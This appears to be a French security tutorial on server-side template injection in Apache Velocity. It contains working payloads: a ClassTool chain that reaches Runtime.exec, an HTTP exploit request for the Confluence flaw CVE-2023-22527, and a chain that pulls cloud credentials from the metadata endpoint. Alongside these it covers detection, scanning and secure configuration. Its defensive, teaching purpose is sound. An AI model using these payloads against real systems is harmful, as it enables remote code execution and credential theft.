Injection de template côté serveur dans Apache Velocity (Java) via ClassTool et RuntimeSingleton pour atteindre l'exécution de code à distance.
TL;DR
${7*7} → 49 ; $math.add(2,2) → 4 avec MathTool ; ${.now} = littéral (pas Freemarker)#set($rt=$Class.inspect("java.lang.Runtime").type) → $rt.getRuntime().exec("id")SecureUberspector + jamais d'évaluation d'entrées utilisateur comme source de templateApache Velocity est un moteur de templates Java utilisé dans les applications entreprise legacy, les projets Apache (Archiva, Continuum, Raptor) et historiquement dans les produits Atlassian. Le Velocity Template Language (VTL) utilise ${variable} pour la substitution de valeurs et #set, #foreach, #if pour le flux de contrôle. La SSTI se produit quand une entrée contrôlée par l'utilisateur est évaluée comme chaîne VTL via velocityEngine.evaluate(context, writer, logTag, userInput) plutôt qu'être passée comme variable de données à un template précompilé.
Le vecteur RCE principal utilise ClassTool ($Class) de Velocity, un utilitaire exposant l'introspection de classes Java. Via #set($rt = $Class.inspect("java.lang.Runtime").type), un attaquant obtient une référence à java.lang.Runtime, puis appelle $rt.getRuntime().exec("id") pour spawner un processus. Les deux chaînes — ClassTool et RuntimeSingleton — requièrent que ClassTool soit dans le contexte Velocity, ce qui était le cas par défaut dans Apache Velocity Engine 2.2 (CVE-2020-13936).
OWASP A03:2021 et CWE-1336 s'appliquent. La SSTI Velocity est le moteur sous-jacent au CVE d'entreprise le plus activement exploité en 2024-2026 : CVE-2023-22527 (Atlassian Confluence, CVSS 10.0, CISA KEV janvier 2024), qui reste sous exploitation ransomware active jusqu'en 2025-2026 sur les instances Confluence non patchées.
Le pattern Java vulnérable :
// VULNÉRABLE — l'entrée utilisateur évaluée comme source VTL
VelocityEngine ve = new VelocityEngine();
ve.init();
VelocityContext context = new VelocityContext();
context.put("Class", new ClassTool()); // ClassTool dans le contexte — DANGEREUX
StringWriter writer = new StringWriter();
String userTemplate = request.getParameter("template");
// Évalue la chaîne contrôlée par l'utilisateur comme template Velocity
ve.evaluate(context, writer, "logTag", userTemplate);Payload décodé :
#set($rt=$Class.inspect("java.lang.Runtime").type)
#set($ex=$rt.getRuntime().exec("id"))
#set($out=$ex.getInputStream())
#set($reader=$Class.inspect("java.io.InputStreamReader").type.getConstructor($out.getClass()).newInstance($out))
#set($buf=$Class.inspect("java.io.BufferedReader").type.getConstructor($reader.getClass()).newInstance($reader))
$buf.readLine()| Variante | Payload | Condition | Impact |
|---|---|---|---|
| Détection | ${7*7} | Tout Velocity | Confirme → 49 |
| Confirmation MathTool | $math.add(2,2) | MathTool dans contexte | Retourne 4 (spécifique Velocity) |
| RCE ClassTool | #set($rt=$Class.inspect("java.lang.Runtime").type)$rt.getRuntime().exec("id") | ClassTool dans contexte | Exécution de processus |
| SSRF | ClassTool + instanciation java.net.URL | ClassTool | Requête HTTP vers IMDS/interne |
| Dump de contexte | $velocityContext ou $context | Objet context accessible | Énumération de variables |
POST /template/aui/text-inline.vm HTTP/1.1
Host: confluence.cible.com
Content-Type: application/x-www-form-urlencoded
label=%2b#request.get('.KEY_velocity.struts2.context').internalGet('ognl').findValue(#parameters.poc[0],{})%2b'&poc=@org.apache.struts2.ServletActionContext@getRequest().getMethod()Le paramètre label est traité comme OGNL dans le contexte Velocity Struts2, permettant l'évaluation d'expressions OGNL arbitraires → Runtime.exec() → RCE sans authentification. CISA KEV ajouté 2024-01-23. Exploitation active par des groupes ransomware confirmée jusqu'en 2025-2026.
CVE-2023-22527 — Atlassian Confluence (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, CISA KEV 2024-01-23)
Le template Velocity text-inline.vm dans Confluence Server et Data Center accepte un paramètre label évalué comme OGNL dans le contexte d'action Struts2. Aucune authentification requise. Plus de 11 000 instances Confluence exposées sur Internet étaient vulnérables le jour de la divulgation. Des groupes ransomware ont activement scanné et exploité dans les jours suivants. Patch requis : Confluence 8.5.4+, 8.6.0+.
CVE-2020-13936 — Apache Velocity Engine 2.2 (CVSS 8.8)
Apache Velocity Engine 2.2 et antérieur exposait ClassTool par défaut dans le contexte Velocity. Toute application utilisant Velocity 2.2 avec du rendu de template contrôlé par l'utilisateur était vulnérable à la chaîne ClassTool RCE. Corrigé dans Velocity 2.3 en supprimant ClassTool du contexte par défaut.
Pattern template d'email entreprise — Legacy Velocity
De nombreuses applications entreprise legacy (CRM, plateformes marketing, générateurs de factures) utilisent Apache Velocity pour la génération d'emails et de documents. Un pattern vulnérable courant : l'application permet des "templates d'email personnalisés" avec des espaces réservés ${user.name}, mais le template est passé directement à velocityEngine.evaluate(). Un attaquant avec accès à l'édition de template insère la chaîne ClassTool et atteint le RCE.
CVE-2023-22527 (Confluence) reste activement exploité en 2025-2026. Les Confluences fonctionnant sur des versions antérieures à 8.5.4 sur des réseaux accessibles depuis Internet sont une cible fiable pour les opérateurs ransomware. L'attaque ne nécessite zéro authentification et prend quelques secondes depuis un PoC public.
${7*7} — 49 confirme l'évaluation ${}.$math.add(2,2) — si MathTool est disponible, 4 confirme Velocity spécifiquement.${.now} — Velocity retourne le littéral ${.now} ; Freemarker retourne un horodatage. Différenciateur définitif.${{<%[%'"}}%\ — Velocity retourne org.apache.velocity.exception.ParseErrorException./confluence/rest/api/settings — si antérieure à 8.5.4 ou 8.6.0, CVE-2023-22527 s'applique.# SSTImap — moteur Velocity
sstimap -u "http://cible.com/rendu?template=*" --engine Velocity
# Nuclei — Confluence CVE-2023-22527
nuclei -u http://confluence.example.com -t cves/2023/CVE-2023-22527.yaml// VULNÉRABLE — entrée utilisateur évaluée comme VTL
ve.evaluate(context, writer, "tag", userInput);
// SÉCURISÉ — template depuis le système de fichiers, entrée comme variable
VelocityEngine ve = new VelocityEngine();
Properties p = new Properties();
p.setProperty("file.resource.loader.path", "/app/templates");
ve.init(p);
VelocityContext context = new VelocityContext();
context.put("nomAffichage", entreeAssainie); // entrée comme variable
Template template = ve.getTemplate("salutation.vm");
template.merge(context, writer);Properties props = new Properties();
props.setProperty(RuntimeConstants.UBERSPECT_CLASSNAME,
"org.apache.velocity.util.introspection.SecureUberspector");
// Bloque Class.getClassLoader(), Class.forName(), Thread.currentThread()
VelocityEngine ve = new VelocityEngine(props);
ve.init();
// Ne PAS inclure ClassTool dans le contexte
VelocityContext ctx = new VelocityContext();
ctx.put("nomAffichage", entreeAssainie); // seulement des variables sûresLa SSTI Velocity se produit quand une entrée contrôlée par l'utilisateur est traitée comme une chaîne VTL (Velocity Template Language). La directive #set, l'outil $Class (via ClassTool) et l'objet $velocityContext donnent accès au runtime Java. Les attaquants enchaînent ces éléments pour appeler Runtime.getRuntime().exec() et atteindre l'exécution de code à distance.
ClassTool ($Class) de Velocity permet d'inspecter des types Java par nom. La chaîne : #set($rt = $Class.inspect('java.lang.Runtime').type) obtient la classe Runtime ; #set($ex = $rt.getRuntime().exec('id')) crée un Process ; lire le flux de sortie via InputStream produit le résultat de la commande. Nécessite que $Class soit disponible dans le contexte Velocity.
CVE-2023-22527 : template Velocity text-inline.vm de Confluence, injection OGNL (CVSS 10.0, CISA KEV 2024-01-23). CVE-2020-13936 : Apache Velocity Engine 2.2, ClassTool disponible par défaut (CVSS 8.8). CVE-2020-13943 : Apache Velocity Tools 3.0, exposition ClassTool liée. Ces CVE Confluence sont toujours activement exploités en 2025-2026.
Le template Velocity text-inline.vm dans Atlassian Confluence accepte un paramètre label traité comme OGNL dans le contexte d'action Struts2. Un attaquant envoie POST /template/aui/text-inline.vm avec des expressions OGNL référençant le contexte velocity interne pour invoquer Runtime.exec() via #request.get() et #parameters. Aucune authentification requise. CVSS 10.0. CISA KEV 2024-01-23. Toujours exploité 2025-2026.
Les deux utilisent ${} pour l'évaluation d'expressions. Freemarker utilise le builtin ?new() pour instancier directement des classes Java ; Velocity utilise ClassTool ou #foreach/$context pour accéder au runtime. Détection : ${.now} retourne un horodatage dans Freemarker mais la chaîne littérale dans Velocity, fournissant le différenciateur définitif.
Apache Velocity a été largement adopté dans les années 2000-2010 pour les applications web Java. Les applications legacy utilisant Velocity pour le rendu d'e-mails, la génération de rapports ou le templating de pages passent souvent des entrées utilisateur (nom d'affichage, signature) dans des templates Velocity via VelocityContext sans validation. Les applications modernes utilisent plus couramment Freemarker ou Thymeleaf, mais le code Velocity reste présent dans les systèmes entreprise legacy.
Via ClassTool : #set($url = $Class.inspect('java.net.URL').type.getConstructor(...).newInstance('http://169.254.169.254/latest/meta-data/')), puis lecture de l'InputStream de l'URL pour exfiltrer les métadonnées cloud. Crée une chaîne SSTI-vers-SSRF permettant le vol de credentials cloud dans les environnements AWS hébergeant des applications Java Velocity.
SecureUberspector est une option de configuration Velocity (uberspect = SecureUberspector) qui bloque l'accès à Class.getClassLoader(), Class.forName(), Class.getClass() et Thread.currentThread(). Empêche les chaînes RCE basées sur ClassTool. Ne prévient cependant pas la divulgation d'informations via $context ou $request.
Ne jamais passer des entrées utilisateur comme chaîne de template Velocity (new VelocityEngine().evaluate(context, writer, 'tag', userInput)). Utiliser des templates précompilés depuis le système de fichiers : velocityEngine.getTemplate('safe.vm'). Configurer SecureUberspector et supprimer ClassTool du contexte par défaut.
Soumettre ${.now} — Freemarker retourne un horodatage ; Velocity retourne le littéral '${.now}'. Soumettre $math.add(2,2) — Velocity avec MathTool retourne 4 ; Freemarker retourne une erreur. Le polyglotte Korchagin retourne org.apache.velocity.exception.ParseErrorException pour Velocity spécifiquement.
NVelocity est le port .NET d'Apache Velocity. Il utilise la même syntaxe VTL (#set, ${}, #foreach) et supporte des chaînes de réflexion équivalentes à ClassTool. La SSTI dans les applications NVelocity suit le même pattern : entrée utilisateur dans le contexte → directive #set pour lier un Type .NET → Activator.CreateInstance() pour l'exécution de commandes OS.